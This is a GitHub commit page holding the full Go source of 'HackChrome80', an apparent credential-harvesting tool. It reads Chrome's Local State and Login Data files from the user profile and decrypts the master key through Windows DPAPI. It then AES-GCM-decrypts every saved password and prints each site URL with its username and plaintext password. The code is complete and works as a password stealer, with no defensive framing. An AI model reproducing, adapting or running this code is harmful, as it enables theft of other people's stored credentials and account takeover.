Skip to content

Commit

Permalink
version 0.1
Browse files Browse the repository at this point in the history
  • Loading branch information
cckuailong committed Feb 29, 2020
0 parents commit 245874c
Show file tree
Hide file tree
Showing 16 changed files with 339 additions and 0 deletions.
5 changes: 5 additions & 0 deletions .idea/.gitignore

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions .idea/.name

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

9 changes: 9 additions & 0 deletions .idea/HackChrome.iml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

11 changes: 11 additions & 0 deletions .idea/dataSources.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 6 additions & 0 deletions .idea/misc.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 8 additions & 0 deletions .idea/modules.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 6 additions & 0 deletions .idea/sqldialects.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 6 additions & 0 deletions .idea/vcs.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

32 changes: 32 additions & 0 deletions core/chrome.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
package core

import (
"HackChrome80/utils"
"database/sql"
"fmt"
)

func GetPwdPre(pwd_db string) map[string](map[string]string){
result := make(map[string](map[string]string))
db, err := sql.Open("sqlite3", pwd_db)
if err != nil{
fmt.Println(err)
}
defer db.Close()
rows, _ := db.Query(`SELECT origin_url, username_value, password_value FROM logins`)
for rows.Next() {
var url string
var username string
var pwd []byte
err = rows.Scan(&url, &username, &pwd)
pwd, err = utils.WinDecypt(pwd)
if err != nil{
continue
}
if len(url)>0 {
result[url] = map[string]string{"username": username, "password": string(pwd)}
}
}

return result
}
60 changes: 60 additions & 0 deletions core/chromev80.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
package core

import (
"HackChrome80/utils"
"database/sql"
"encoding/base64"
"fmt"
"github.com/tidwall/gjson"
"io/ioutil"
)

func GetMaster(key_file string) ([]byte, error){
res, _ := ioutil.ReadFile(key_file)
master_key, err := base64.StdEncoding.DecodeString(gjson.Get(string(res), "os_crypt.encrypted_key").String())
if err != nil{
return []byte{}, err
}
// remove string: DPAPI
master_key = master_key[5:]
master_key, err = utils.WinDecypt(master_key)
if err != nil{
return []byte{}, err
}
return master_key, nil
}

func decrypt_password(pwd, master_key []byte) ([]byte, error){
nounce := pwd[3:15]
payload := pwd[15:]
plain_pwd, err := utils.AesGCMDecrypt(payload, master_key, nounce)
if err != nil{
return []byte{}, nil
}
return plain_pwd, nil
}

func GetPwd(pwd_db string, master_key []byte) map[string](map[string]string){
result := make(map[string](map[string]string))
db, err := sql.Open("sqlite3", pwd_db)
if err != nil{
fmt.Println(err)
}
defer db.Close()
rows, _ := db.Query(`SELECT action_url, username_value, password_value FROM logins`)
for rows.Next() {
var url string
var username string
var encrypted_pwd []byte
err = rows.Scan(&url, &username, &encrypted_pwd)
decrypted_pwd, err := decrypt_password(encrypted_pwd, master_key)
if err != nil{
continue
}
if len(url)>0 {
result[url] = map[string]string{"username": username, "password": string(decrypted_pwd)}
}
}

return result
}
10 changes: 10 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
module HackChrome80

go 1.13

require (
github.com/mattn/go-sqlite3 v2.0.3+incompatible
github.com/stretchr/testify v1.5.1 // indirect
github.com/tidwall/gjson v1.6.0
github.com/tidwall/pretty v1.0.1 // indirect
)
21 changes: 21 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/mattn/go-sqlite3 v2.0.3+incompatible h1:gXHsfypPkaMZrKbD5209QV9jbUTJKjyR5WD3HYQSd+U=
github.com/mattn/go-sqlite3 v2.0.3+incompatible/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/tidwall/gjson v1.6.0 h1:9VEQWz6LLMUsUl6PueE49ir4Ka6CzLymOAZDxpFsTDc=
github.com/tidwall/gjson v1.6.0/go.mod h1:P256ACg0Mn+j1RXIDXoss50DeIABTYK1PULOJHhxOls=
github.com/tidwall/match v1.0.1 h1:PnKP62LPNxHKTwvHHZZzdOAOCtsJTjo6dZLCwpKm5xc=
github.com/tidwall/match v1.0.1/go.mod h1:LujAq0jyVjBy028G1WhWfIzbpQfMO8bBZ6Tyb0+pL9E=
github.com/tidwall/pretty v1.0.0 h1:HsD+QiTn7sK6flMKIvNmpqz1qrpP3Ps6jOKIKMooyg4=
github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk=
github.com/tidwall/pretty v1.0.1 h1:WE4RBSZ1x6McVVC8S/Md+Qse8YUv6HRObAx6ke00NY8=
github.com/tidwall/pretty v1.0.1/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
39 changes: 39 additions & 0 deletions main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
package main

import (
"HackChrome80/core"
"HackChrome80/utils"
"fmt"
_ "github.com/mattn/go-sqlite3"
"os"
)


func main(){
key_file := os.Getenv("USERPROFILE") + "/AppData/Local/Google/Chrome/User Data/Local State"
orig_pwd_db := os.Getenv("USERPROFILE") + "/AppData/Local/Google/Chrome/User Data/default/Login Data"
pwd_db := "LocalDB"
if !utils.PathExists(pwd_db){
utils.CopyFile(orig_pwd_db, pwd_db)
}

master_key, err := core.GetMaster(key_file)
if err != nil{
fmt.Println(err)
return
}

// chrome > v80
chrome_v80_res := core.GetPwd(pwd_db, master_key)
// chrome < v80
chrome_res := core.GetPwdPre(pwd_db)
// total
total_res := utils.Merge(chrome_v80_res, chrome_res)

for k,v := range total_res{
fmt.Printf("====================\n")
fmt.Printf("Url: %s\nUsername: %s\nPassword:%s\n\n", k, v["username"], v["password"])
}

fmt.Printf("Total Auth: %d", len(total_res))
}
19 changes: 19 additions & 0 deletions utils/cipher.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
package utils

import (
"crypto/aes"
"crypto/cipher"
)

func AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, _ := cipher.NewGCM(block)
origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil{
return nil, err
}
return origData, nil
}
63 changes: 63 additions & 0 deletions utils/utils.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
package utils

import (
"io"
"log"
"os"
)

func PathExists(path string) bool {
_, err := os.Stat(path)
if err == nil {
return true
}
if os.IsNotExist(err) {
return false
}
return false
}

func CopyFile(source, dest string) bool {
if source == "" || dest == "" {
log.Println("source or dest is null")
return false
}

source_open, err := os.Open(source)

if err != nil {
log.Println(err.Error())
return false
}
defer source_open.Close()

dest_open, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY, 644)
if err != nil {
log.Println(err.Error())
return false
}

defer dest_open.Close()

_, copy_err := io.Copy(dest_open, source_open)
if copy_err != nil {
log.Println(copy_err.Error())
return false
} else {
return true
}
}

func Merge(res1, res2 map[string](map[string]string)) map[string](map[string]string){
for k,v := range res2{
if _, ok := res1[k]; ok {
if len(v["password"])>0 && len(res1[k]["password"])==0{
res1[k]["password"] = v["password"]
}
}else{
res1[k] = v
}
}

return res1
}
43 changes: 43 additions & 0 deletions utils/win32crypt.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
package utils

import (
"syscall"
"unsafe"
)

type DATA_BLOB struct {
cbData uint32
pbData *byte
}

func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}

func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}

func WinDecypt(data []byte) ([]byte, error){
dllcrypt32 := syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree := dllkernel32.NewProc("LocalFree")

var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}

0 comments on commit 245874c

Please sign in to comment.